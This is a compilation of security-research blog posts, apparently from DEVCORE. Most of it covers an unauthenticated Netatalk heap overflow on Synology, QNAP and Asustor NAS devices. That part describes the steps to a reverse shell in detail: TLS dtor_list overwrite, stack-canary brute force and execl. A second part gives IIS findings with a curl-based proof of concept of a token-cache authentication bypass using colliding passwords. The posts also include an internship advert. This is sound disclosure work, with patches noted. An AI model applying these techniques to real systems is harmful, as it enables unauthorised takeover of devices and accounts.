但有趣的是 pointer guard 也會在 TLS 上,他會存在 TLS 中的 tcbhead_t 結構中,如果我們 overflow 夠多,也可以在 overflow tls_dtor_list的同時,也將 pointer guard 也一併清掉,這樣就可以讓我們不用處理 pointer guard 問題。

先來講講 tcbhead_t 這結構,這個結構主要是 Thread Control Block (TCB),有點類似 Windows 中的 TEB 結構 是 thread 的 descriptor,主要會用來存放 thread 的各種資訊,而在 x86_64 的 Linux 架構的 usermode 下,fs 暫存器會指向這位置,每當我們要存取 thread local variable 時,都會透過 fs 暫存器去 存取,我們可以看到 TCB 結構會有 stack guard 及 pointer guard 等資訊,也就是說當我們再拿 pointer guard 時,也適用 fs 暫存器從這個結構取出的。

我們回頭看一下 TLS 上的結構分佈,可以看到 tls_dtor_list後方就是這個,tcbhead_t結構。只要我們 overflow 夠多就可以蓋掉 pointer guard,然而此時會出現另外一個問題。

因為 stack guard 在 pointer guard 前,當我們蓋掉 pointer guard 的同時,也會蓋掉 stack guard。那麼蓋掉 stack guard 會有什麼影響呢?

在我們呼叫 dsi_stream_receive()時,因為有開啟 stack guard 保護的關係,會先從 TLS 上,取得 stack guard 放在 stack 上,等到我們呼叫 dsi_stream_read 去 trigger overflow 且蓋掉 pointer guard 及 stack guard 後,在 dsi_stream_receive()返回時,會去檢查 stack guard 是否與 TLS 中的相同,但因為這時候的 TLS 的 stack guard 已經被我們蓋掉了,導致檢查不通過而中止程式,就會造成我們無法利用這個技巧來達成 RCE。

Bypass stack guard

在 netatalk(afpd) 的架構中,事實上每次連線都會 fork 一個新的 process 來 handle 使用者的 request,而 Linux 中的 process 有個特性是 fork 出來的 process,memory address 及 stack gurad 等都會與原先的 parent process 相同,因此我們可以利用 CTF 常見的招式,一個 byte 一個 bytes brute-force 的方式來獲得 stack guard 。

Brute-force stack guard

基本概念是 在 overflow 之後,我們可以只蓋 TLS 中的 stack guard 最尾端一個 byte ,每次連線都蓋不同的 byte,一旦與 stack guard 不同,就會因為 abort 而中斷連線,我們可依據連線的中斷與否,判斷我們所覆蓋的數值是否與 stack guard 相同。

以上圖來說,我們假設 stack guard 是 0xdeadbeeffacebc00,由於 stack guard 特性,最低一個 byte 一定會是 0 ,這邊從第二個 byte 蓋起,這邊可以先蓋 00 試看看連線是否被中斷,如果被中斷代表蓋的數值是錯的,接下來我們就測其他數值看看有沒有中斷,依此類推,測到 0xbc 發現沒有中斷,代表第二個 byte 是 0xbc,接下來就繼續蓋第三 byte ,一樣從 0x00 蓋到沒中斷,直到蓋滿 8 bytes 的 stack guard 都沒中斷連線後,我們就可以知道 stack guard 的值是什麼,接下來我們就可以解決 stack guard 問題。

Construct the _dtor_list to control RIP

在解決 stack guard 問題後,netatalk 已可正常運作,接下來我們需要構造 _dtor_list結構並結束程式來控制 RIP,在當時的 synology 的 afpd 中並沒有開啟 PIE,我們可以在 afpd 的 data 段中,構造 _dtor_list

剛好在使用 dhx2 method 的 login 功能中,會將我們要登入的 username 複製到 global 的 buffer 中,所以我們可以將這結構跟著 username 一起寫入固定的已知位置。

在一切都構造完成後,我們這邊可以觸發正常功能的 DSICloseSession即可觸發 exit()

tls_dtor_list in Synology

在 reverse 後,發現 synology 的 glibc 中,會使用 __tls_get_addr()來取得 tls_dtor_list,並非直接存取 tls_dtor_list這個全域變數,而這函式的取得方式則會從前述 tcbhead_t中先取 div 欄位後,再取得其中的 tls_dtor_list,因此我們需要連同 tcb->div一起構造在固定位置,另外一點是 Synology 的 afpd 中並沒有 system 可用,但事實上有 execl 可以使用,只是參數稍微複雜一點而已。

最後我們構造的結構如上圖所示,我們將 tcb 及 dtor_list 結構都構造在 username buffer 中,觸發 exit() 後,就會去執行 execl 並取得反連 shell。

Remark

在一般的 Netatalk 中,是會啟用 PIE ,不太容易在已知位置構造 _dtor_list,實際上也可以用類似方法 leak 出 libc 位置,依舊是 exploitable,該漏洞不只影響 Synology 也會影響到大部分有使用 Netatalk 的設備。

Other vendor

我們測試了許多家有使用到 Netatalk 的廠商,發現不少家有存在類似的問題,部分是 unexploitable 但也有部分是 exploitable。我們這邊實測了 QNAP 及 Asustor,皆有成功獲得 shell。

QNAP

  • We tested on TS451
    • QTS 4.5.4.1741
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • 內建 system


Asustor

  • We tested on AS5202T
    • ADM 3.5.7.RJR1
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • 內建 system

QNAP 及 Asustor 兩家 NAS 都沒有開啟 Stack guard,不需 brute-force 即可獲得反連 shell。

這個漏洞在 Synology 尚未修補時,只要 default 裝好就可以利用,不需任何認證,而 QNAP 及 Asustor 雖然不是預設開啟,但不少有使用 Mac 的用戶,還是會為了方便把它打開,基本上只要是 NAS 幾乎都會用到 Netatalk,絕大多數的 NAS 都有影響,只要有開啟 Netatalk,攻擊者可以利用這個漏洞打下大部分的 NAS。你的 NAS 就再也不會是你的 NAS。

我們後來也從 shodan 上發現,其實也有非常多人將 netatalk 開在外網,光在 shodan 上就有 13 萬台機器,其中大部分是 Synology。

Mitigation

Update

目前上述三台皆已修補,請尚未更新的用戶更新到最新

  • Synology
    • https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26
  • QNAP
    • https://www.qnap.com/en/security-advisory/qsa-21-50
  • Asustor
    • https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2

Disable AFP

  • 沒使用時,最好直接關掉或是關在內網,該 project 幾乎已經很少維護,繼續使用風險極高。
  • 改用 SMB 相對安全
    • 如果想要用類似功能,建議可使用 SMB 相對安全不少,但只能說相對安全,不能說絕對沒問題,建議還是將相關服務都開在內網就好,沒用到的能關就關

Summary

我們已成功在 NAS 中找到一個嚴重漏洞,並且成功寫出概念證明程式,證實可以利用在 Synology、QNAP 及 Asustor 等主流 NAS 上利用。我們也認為 Netatalk 是在 NAS 中新一代的後門!

未來希望有使用到第三方套件的 NAS 廠商,可以多重新審視一下第三方套件所帶來的安全性問題,強烈建議可以自行 Review 一次,並且注意其他廠商是否也有修復同樣套件上的漏洞,很有可能自己也會受到影響,也希望使用 NAS 的用戶,也能多多重視不要把 NAS 開在外網,能關的服務就盡可能關閉,以減少攻擊面,讓攻擊者有機可趁。

To be continue

事實上,我們並不只有找到一個漏洞,我們也發現還有不少問題,也運用在去年的 Pwn2Own Austin 上,這部分我們在大部分廠商修復後會在公開其他的研究,就盡請期待 Part II。

Your NAS is not your NAS !

$
0
0

English Version
中文版本

Two years ago, we found a critical vulnerability on Synology NAS. This vulnerability can let an unauthorized attacker gain code execution on remote Synology DiskStation NAS server. We used this vulnerability to exploit Synology DS418play NAS in Pwn2Own Tokyo 2020. After that, we found the vulnerability is not only exists on Synology but also on most NAS vendors. Following we will describe the details and how we exploit it.

This research is also presented at HITCON 2021. You can check the slides here.

Network Attached Storage

In the early days, NAS was generally used to separate the server and data and also used for backup. It was mainly used to allow users to directly access data and share files on the Internet. In modern times, NAS provides not only file sharing but also various services. In this era of Internet of Things, there will be more people combining NAS and home assistants to make life more convenient.

Motivation

Why do we want to research NAS?

Red Team

While we were doing red team assessment, we found that NAS generally appeared in the corporate intranet, or sometimes even exposed to the external network. They usually stored a lot of corporate confidential information on the NAS. Therefore, NAS gradually attracted our attention, and its Strategic Value has been much higher than before.

Ransomware

NAS has become more and more popular in recent years. More and more people store important data on NAS. It makes NAS a target of ransomware. At the beginning of last year, NAS vulnerabilities led to outbreak of locker event. We hope to reduce the recurrence of similar things, thereby increasing the priority of NAS research to improve NAS security.

Pwn2Own Mobile 2020

The last reason is that NAS has become one of the main targets of Pwn2Own Mobile since 2020. We also wanted to try to join Pwn2Pwn event, so we decided to make NAS as the primary goal of the research at that time. Because of Synology is the most popular device in Taiwan, we decided start from it.

Recon

Environment

  • DS918+
  • DSM 6.2.3-25426

Our test environment is Synoloby DS918+. It very similar as DS418 play(target of Pwn2Own Tokyo 2020). In order to better meet the environment that we usually encounter and the requirements in Pwn2Own, it will be in the state of all default settings.

Attack surface

First of all, we can use netstat to find which port is open. We can see that in the default environment, many services are opened, such as smb/nginx/afpd.

In UDP, it has minissdpd/findhost/snmpd, etc., most of protocols help to find devices.

We selected a few services for preliminary analysis.

DSM Web interface

The first one is the DSM Web interface. This part is probably the one that most people analyze and it has obvious entry points. Many years ago, there were many command injection vulnerabilities, but after that Synology set strict specifications. There are almost no similar problems nowadays.

SMB

The SMB protocol in Synology is based on Samba. Due to the large number of user, many researcher are doing code review on it. Therefore, there are many vulnerabilities found in Samba every year. The most famous vulnerability recently is SambaCry. But because more people are reviewing, it is relatively safer than other services.

iSCSI Manager

It mainly helps users manage and monitor iSCSI services and it is developed by Synology itself. There are a lot of vulnerabilities in iSCSI recently. Maybe it will be a good target. If there is no other attack surface, we might analyze it first.

Netatalk

The last one is Netatalk, which is known as afp protocol. Netatalk in Synology is based on Netatak 3.1.8. The most critical vulnerability recently is CVE-2018-1160. For this vulnerability, please refer to Exploiting an 18 Year Old Bug. Compared with other services, Netatalk has very few vulnerabilities in the past. It is less noticed, and it has not been updated and maintained for a long time.

After overall analysis, we believe that Netatalk is the most vulnerable point in Synology. We finally decided to analyze it first. In fact, there are other services and attack surfaces, but we didn’t spend much time on other service. We will only focus on Netatalk in this article.

Netatalk

Apple Filing Protocol (AFP) is a file transfer protocol similar to SMB. It is used to transfer and share files on MAC. Because Apple itself is not open-sourced, in order to utilize AFP on Unix-like systems, Netatalk is created. Netatalk is a freely-available Open Source AFP fileserver. Almost every NAS uses it to make file sharing on MAC more convenient.

Netatalk in Synology

The netatalk in Synology is enabled by default. The version is modified from netatalk 3.1.8, and it tracks security updates regularly. Once installed, you can use the AFP protocol to share files with Synology NAS. It also enables protections such as ASLR, NX and StackGuard.

DSI

Before we look into the detail of the vulnerability we need to talk about Data Stream Interface (DSI). The DSI is a session layer format used to carry AFP traffic over TCP. While server and client communicate through the AFP, a DSI header is in front of each packet.

DSI Packet Header :

The content of the DSI packet is shown as the figure above. It contains metadata and payload, which generally follows the DSI header and payload format.

AFP over DSI :

The communication of the AFP protocol is shown above. The client first gets the server information to determine available authentication methods, the version used, and so on. Then it opens a new session and to execute AFP commands. Without authentication, we can only do related operations such as login and logout. Once the client is verified, we can do file operations like SMB.

In Netatalk implementation, dsi_block will be used as the packet structure.

dsi_block :

  • dsi_flag means that the packet is a request or reply
  • dsi_command indicates what our request does
    • DSICloseSession
    • DSICommand
    • DSIGetStatus
    • DSIOpenSession
  • dsi_code
    • Error code
    • For reply
  • dsi_doff
    • DSI data offset
    • Using in DSIWrite
  • dsi_len
    • The Length of Payload

DSI : A descriptor of dsi stream

In Netatalk, most of the information are stored in a structure called DSI for subsequent operations after parsing the packet and configuration files, such as server_quantum and payload content.

The payload of the packet is stored in the command buffer in the DSI structure. The buffer size is server_quantum, and the value is specified in the afp configuration file afp.conf.

If not specified, it uses the default size(0x100000).

With a preliminary understanding, let’s talk about this vulnerability.

Vulnerability

The vulnerability we found occurs while receiving the payload. It can be triggered without authentication. The vulnerable function is dsi_stream_receive.

It’s the function that parses the information from received packet and puts it into the DSI structure. When it receives the packet data, it first determine how much data to read into the command buffer according to the dsi_len in the dsi header. At the beginning, the size of dsi_cmdlen is verified.

However, as shown in the picture above, if dsi_doff is provided by user, dsi_doff is used as the length. There is no verification here.

The default length of dsi->commands is 0x100000(dsi->server_quantum), which is a fixed length allocated in dsi_init, so as long as dsi->header.dsi_doff is larger than dsi->server_quantum, heap overflow occurs.

Exploitation

In DSM 6.2.3, dsi->commands buffer is allocated by malloc at libc 2.20. When it allocates more than 0x20000, malloc calls mmap to allocate memory. The memory layout of afpd after dsi_init is as below.

At the below of dsi->commands is Thread Local Storage, which is used to store thread local variables of the main thread.

Because of this memory layout, we can use the vulnerability to overwrite the data on Thread Local Storage. What variables to be overwritten in the Thread Local Storage?

Thread-local Storage

Thread-local Storage (TLS) is used to store the local variables of the thread. Each thread have its own TLS, which allocated when the Thread is created. It will be released when thread is destroyed. We can use heap overflow vulnerabilities to overwrite most of the variables stored in TLS.

Target in TLS

In fact, there are many variables that can control RIP on TLS. Here are a few more common ones.

  • main_arena
    • We can forge main_arena to achieve arbitrary writing, but it’s more complicated
  • pointer_guard
    • We can modify the pointer guard to change the function pointer, but it requires a leak.
  • tls_dtor_list
    • It’s more suitable for our current situation

Overwrite tls_dtor_list

We can use the technique used by project zero in 2014 to overwrite the tls_dtor_list in the Thread Local Storage, and then control the RIP in exit().

structdtor_list{dtor_funcfunc;void*obj;structlink_map*map;structdtor_list*next;}

tls_dtor_list is a singly linked list of dtor_list objects. It is mainly a destructor for thread local storage. In the end of the thread execution, it calls destructor function pointer in the linked list. We can overwrite tls_dtor_list with dtor_list we forged.

When the process exits, it calls call_tls_dtors(). This function takes the object in tls_dtor_list and calls each destructor. At this time, if we can control tls_dtor_list, it calls the function we specified.

However, in the new version of glibc, the function of dtor_list is protected by pointer guard. So we need to know the value of pointer guard before we overwrite it. The pointer guard is initialized at the beginning of the program and is an unpredictable random number. If we don’t have information leakage, it’s hard to know the value.

But in fact pointer guard would also be placed in Thread Local Storage.

In the Thread Local Storage, there is a tcbhead_t structure below the tls_dtor_list, which is the thread descriptor of main thread.

tcbhead_t structure is used to store various information about the thread such as the stack_guard and pointer_guard used by the thread. In x86-64 Linux system, the fs register always points to the tcbhead_t of the current thread, so the program access thread local storage by using fs register. The memory layout of Thread local storage is shown as below.

We can use the vulnerability to overwrite not only tls_dtor_list but also pointer guard in the tcbhead_t. In this way, we can overwrite it with NULL to solve the pointer guard problem mentioned earlier.

But another problem appears, after we overwrite pointer guard, stack guard will also be overwritten.

Before netatalk receives data, it first puts the original stack guard on the stack, and then invoke recv() to receive data to dsi->command. At this time, the buffer overflow occurs and cause stack guard and pointer guard to be overwritten. After this, netatalk returns to normal execution flow. It takes the stack guard from the stack and compare it with the stack guard in Thread Local Storage. However, it has been overwritten by us, the comparison here fails, causing abort to terminate the program.

Bypass stack guard

In the netatalk(afpd) architecture, each connection forks a new process to handle the user’s request, so the memory address and stack guard of each connection are the same as the parent process. Because of this behavior, we can use brute-force bytes one by one to leak stack guard.

Brute-force stack guard

We can use the overflow vulnerability to overwrite only the last byte of stack guard on Thread Local Storage with different value in each different connection. Once the value is different from the original value, the service disconnects. Therefore, we can use the behavior to validate whether the value we overwritten is the same as stack guard. After the lowest byte is determined, we can continue to add another byte, and so on.

In the above figure, we assume that the stack guard is 0xdeadbeeffacebc00. Due to the stack guard feature in Linux, the lowest byte must be 0. Let’s start with the second byte. We can overwrite with 0x00 to see if the connection is disconnected first. If it is disconnected, it means the value we overwrote is wrong. Next, we will test other values to see if the connection is disconnected. And so on, until there is no disconnection, we can find the correct value of section bytes. Then we can try to overwrite third byte, fourth byte and so on. After the stack guard is overwritten with 8 bytes and the connection is not disconnected, we can successfully bypass the stack guard.

After we leak the stack guard, we can actually control RIP successfully.
Next, we need to forge the structure _dtor_list to control RIP.

Construct the _dtor_list to control RIP

In DSM 6.2.3-25426, Because it does not enable PIE, we can forge _dtor_list on the data section of afpd.

Luckily, when netatalk use dhx2 login authentication, it will copy the username we provided to the data section of afpd. We can use the feature to construct _dtor_list on the known address.

After everything is constructed, we can trigger the normal function DSICloseSession to control the RIP.

tls_dtor_list in Synology

But in the glibc-2.20 in DSM 6.2.3-25426, it will invoke __tls_get_addr to get the variable tls_dtor_list. The function will take the variable from tcb->div. We also need to construct it on a known address.

The final structure we forged is as follows

Finally, we control RIP to invoke execl() in afpd to get the reverse shell.

Remark

In general Netatalk, PIE protection is enabled by default. It is difficult to construct _dtor_list in a known address. In fact, you can also leak libc address using a similar method. It is still exploitable.

This vulnerability not only affects Synology, but also affects some devices use Netatalk.

Other vendor

We tested several vendors using Netatalk and found that most device have similar problems, some are unexploitable but some are exploitable. We have tested QNAP and Asustor here, and both have successfully obtained the shell.

QNAP

  • We tested on TS451
    • QTS 4.5.4.1741
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • Built-in system function


Asustor

  • We tested on AS5202T
    • ADM 3.5.7.RJR1
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • Built-in system function

It is worth mentioning that both QNAP and Asustor NAS does not enabled stack guard, and you can get the reverse shell without brute-force.

When Synology has not yet patched this vulnerability, it can be exploited as long as the default is installed. No authentication is required.

Although QNAP and Asustor are not enabled by default, many users who use Macs still turn it on for convenience. Actually, Netatalk will be used almost in NAS. Most NAS will have an impact, as long as they enable Netatalk, an attacker can use this vulnerability to take over most of the NAS.

Your NAS is not your NAS !

In fact, many people open Netatalk on the external network. There are 130,000 machines on shodan alone, most of which are Synology.

Mitigation

Update

At present, the above three have been patched, please update to the latest version.

  • Synology
    • https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26
  • QNAP
    • https://www.qnap.com/en/security-advisory/qsa-21-50
  • Asustor
    • https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2

Disable AFP

  • It’s best to disable it directly. The project is rarely maintained, and the risk of continuing to use it is extremely high.
  • SMB is relatively safe
    • If you want to use similar feature, it is recommended to use SMB. It is relatively safe, but it can only be said to be relatively safe.
    • It is recommended that all related services should be opened in the intranet.

Summary

We have successfully found a serious vulnerability in the NAS, and successfully wrote a proof-of-concept, which proved that it can be exploited on many NAS such as Synology, QNAP and Asustor.

We also think that Netatalk is a new generation of backdoor in NAS!

In the future, We hope that NAS vendor who use third-party can re-examine the security issues caused by them. It is strongly recommended that NAS vendor can review it by themselves and pay attention to whether other vendor have also fixed the vulnerabilities in the same third-party. It is possible that it will also be affected.

The users who want to use NAS can also pay more attention to not opening the NAS on the external network and unused services should be disabled as much as possible to reduce the attack surface.

To be continue

In fact, we have not only found one vulnerability, we have also found that there are still many problems. In next part, we will publish more research after most vendor fix it.

Please look forward to Part II.


DEVCORE 2022 第二屆實習生計畫

$
0
0

DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;今年年初,我們開始嘗試舉辦第一屆實習生計畫,希望培育人才、增強新世代的資安技能,最終成果也超乎預期。於是我們決定在今年 9 月進行第二屆實習生計畫,如果您對這個計畫有興趣,歡迎來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary
    以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit 理解過去漏洞都出現在哪,並將之武器化,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 及武器化 (Weaponization) 30 %
  • Web
    主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2022 年 9 月開始到 2023 年 2 月底,共 6 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷資格審查
  • 問答題答案(共 2 題,各組別題目不同,詳見下方報名方式

我們會根據您的履歷及所回答的內容來決定是否有通過第一階段,會在七個工作天內回覆。

第二階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 recruiting_intern@devco.re
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2022/08/05 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁
  • 題目如下,請依照欲申請之組別回答
    • Binary
      • 簡答題
        • 假設你今天要分析一台印表機
          • 你會如何去分析 ?
          • 你覺得有哪些地方可能會發生問題導致攻擊者可以獲得印表機控制權? 為什麼 ?
      • 實作題目
        • 題目檔案
          • 為一個互動式的 Server,可透過網路連線與之互動。
        • 請分析上述所提供的 Server,並利用其中的漏洞在 Windows 11 上跳出 calc.exe。
          • 漏洞可能有很多,不一定每個都可以利用。
        • 請務必寫下解題過程及如何去分析這個 Server,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。
    • Web
      • 當你在網頁瀏覽器的網址列上輸入一串網址(例如:http://site.fake.devco.re/index.php?foo=bar),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。
      • 請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2022 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響,以及所對應到的 OWASP Top 10 / CWE 類別。

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

Let's Dance in the Cache - Destabilizing Hash Table on Microsoft IIS

$
0
0

Hi, this is my fifth time speaking at Black Hat USA and DEFCON. You can get the slide copy and video there:

As the most fundamental Data Structure in Computer Science, Hash Table is extensively used in Computer Infrastructures, such as Operating Systems, Programming Languages, Databases, and Web Servers. Also, because of its importance, Microsoft has designed its own Hash Table algorithm from a very early stage, and applied it heavily to its web server, IIS.

Since IIS does not release its source code, I guess the algorithm implementation details should be an unexplored area to discover bugs. Therefore, this research mainly focuses on the Hash Table implementation and its usage. We also look into the Cache mechanism because most of the Hash Table usages in IIS are Cache-Related!

Because most of the details are in the slides, please forgive me this time for this brief write-ups instead of a full blog.


P.S. All vulnerabilities addressed in this blog have been reported responsibly to Microsoft and patched in July 2022.

1. IIS Hash-Flooding DoS

It’s hard to imagine that we can still see such a classic Algorithmic Complexity Attack as Hash-Flooding Attack in IIS in 2022. Although Microsoft has configured a thread deleting outdated records every 30 seconds to mitigate the attack, we still found a key-splitting bug in the implementation to amplify our power by over 10 times to defeat the guardian by zero hashes. Through this bug we can make a default installed IIS Server unresponsive with about 30 connections per second!

Because this bug also qualifies for the Windows Insider Preview Bounty Program, we also rewarded $30,000 for this DoS. This is the maximum bounty for the category of Denial-of-Service!

You can check the full demo video here:

2. IIS Cache Poisoning Attack

Compared with other marvelous Cache Poisoning research, this one is relatively plain. The bug is found in the component of Output Caching, the module responsible for caching dynamic responses to reduce expensive database or filesystem access on web stacks.

Output Caching uses a bad Query String parser that only takes the first occurrence as the Cache-Key when Query String keys are duplicated. This behavior is actually not a problem independently. However, it’s a trouble in the view of the whole architecture with the backend, ASP.NET. The backend concatenates the value of all repeated keys together, which leads to an inconsistency between parser behaviors. Therefore, a classic HTTP Parameter Pollution can make IIS cache the wrong result!

3. IIS Authentication Bypass

This may be the most interesting bug of this talk. LKRHash is a Hash Table algorithm designed and patented by Microsoft in 1997. It’s based on Linear Hashing and created by Paul Larson of Microsoft Research, Murali Krishnan and George Reilly of the IIS team.

LKRHash aims to build a scalable and high-concurrent Hash Table under the multithreading and multi-core environment. The creators put a lot of effort into making this implementation portable, flexible and customizable to adapt to multiple products across Microsoft. An application can define its own Table-Related functions, such as the Hash Function, the Key Extracting Function, or the Key Comparing Function. This kind of extensibility creates a bunch of opportunities for vulnerability mining. So, under this context, we cares more about the relationship between the records, the keys, and the functions.

CLKRHashTable::CLKRHashTable(this,"TOKEN_CACHE",// An identifier for debuggingpfnExtractKey,// Extract key from recordpfnCalcKeyHash,// Calculate hash signature of keypfnEqualKeys,// Compare two keyspfnAddRefRecord,// AddRef in FindKey, etc4.0,// Bound on the average chain length.1,// Initial size of hash table.0,// Number of subordinate hash tables.0// Allow multiple identical keys?);

Because “Logon” is an expensive operation, to improve the performance, IIS cached all tokens for password-based authentications, such as Basic Authentication by default, and the bug we found this time is located in the logic of the key-comparing function when a collision occurs.

If a login attempt whose hash hits a key that is already in the cache, LKRHash enters the application-specific pfnEqualKeys function to determine whether the key is correct or not. The application-specific logic of TokenCacheModule is as follows:

As the logic compares several parts to make the decision, it’s weird why IIS compares the username twice.

I guess the original intent was to compare the password. However, the developer copy-and-pasted the code but forgot to replace the variable name. That leads to that an attacker can reuse another user’s logged-in token with random passwords.

To build the smallest PoC to test your own, you can create a testing account and configure the Basic Authentication on your IIS.

# add a test account, please ensure to remove that after testing> net user orange test-for-CVE-2022-30209-auth-bypass /add

# the source of login is not important, this can be done outside IIS.> curl -I-su'orange:test-for-CVE-2022-30209-auth-bypass''http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Under the attacker’s terminal:

# script for sanity check>type test.py
def HashString(password):
    j = 0
    for c in map(ord, password):
        j = c + (101*j)&0xffffffff
    return j

assert HashString('test-for-CVE-2022-30209-auth-bypass')== HashString('ZeeiJT')# before the successful login> curl -I-su'orange:ZeeiJT''http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login> curl -I-su'orange:ZeeiJT''http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

As you can see, the attacker can log into the user orange with another password whose hash is the same as the original one.

However, it’s not easy to collide the hash. The probability of each attempt is only worth 1/2^32 because the hash is a 32-Bit Integer, and the attacker has no way to know the hash of existing cache keys. It’s a ridiculous number to make exploiting this bug like playing a lottery. The only pro is that the attempt costs nothing, and you have unlimited tries!

To make this bug more practical, we proposed several ways to win the lottery, such as:

  1. Increase the odds of the collision - LKRHash combined LCGs to scramble the result to make the hash more random. However, we can lower the key space because the LCG is not one-to-one mapping under the 32-Bit Integer. There must be results that will never appear so that we can pre-compute a dictionary that excludes the password whose hash is not in the results and increase the success rate by 13% at least!
  2. Regain the initiative - By understanding the root cause, we brainstorm several use cases that can cache the token in memory forever and no longer wait for user interaction, such as the IIS feature Connect As or leveraging software design patterns.

We have also proved this attack works naturally on Microsoft Exchange Server. By leveraging the default activated Exchange Active Monitoring service, we can enter HealthMailbox’s mailbox without passwords! This authentication-less account hijacking is useful for further exploitations such as phishing or chaining another post-auth RCE together!

Timeline

  • Mar 16, 2022 - We reported the IIS Cache Poisoning to Microsoft through the MSRC portal.
  • Apr 09, 2022 - We reported the IIS Hash-Flooding DoS to Microsoft through the MSRC portal.
  • Apr 10, 2022 - We reported the IIS Authentication Bypass to Microsoft through the MSRC portal.
  • Jul 12, 2022 - Microsoft fixed everything at July’s Patch Tuesday.

戴夫寇爾持續投入資安人才培育 - 啟動全國資訊安全獎學金計劃、延續資安教育活動贊助計劃

$
0
0

戴夫寇爾自 2012 年成立以來,秉持著為台灣累積更豐厚的資安競爭力,不只透過主動式資安服務協助企業檢測資安防禦,進而提升整體資安體質;同時我們也很關注資安技術人才的培育,除了擔任學術、政府單位專任講師及顧問以外,也長期支持學生時期創辦的校園資安社團 NISRA(Network and Information Security Research Association),幫助學生們從學生時代建構正確的資訊安全意識及技能外,也更早瞭解資安產業的現況,與產業界接軌。

